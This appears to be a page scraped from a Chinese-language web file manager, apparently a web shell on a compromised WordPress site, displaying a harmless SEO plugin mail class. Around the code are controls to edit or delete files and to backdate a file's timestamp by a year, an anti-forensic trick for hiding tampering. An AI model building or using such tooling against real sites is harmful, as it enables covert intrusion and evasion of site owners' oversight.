文件操作 - Mail.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/ltlcompare.com/wp-content/plugins/all-in-one-seo-pack/app/Common/EmailReports/Mail.php
编辑文件内容
<?php namespace AIOSEO\Plugin\Common\EmailReports; // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Mail class. * * @since 4.7.2 */ class Mail { /** * Send the email. * * @since 4.7.2 * * @param mixed $to Receiver. * @param mixed $subject Email subject. * @param mixed $message Message. * @param array $headers Email headers. * @return bool Whether the email was sent successfully. */ public function send( $to, $subject, $message, $headers = [ 'Content-Type: text/html; charset=UTF-8' ] ) { return wp_mail( $to, $subject, $message, $headers ); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件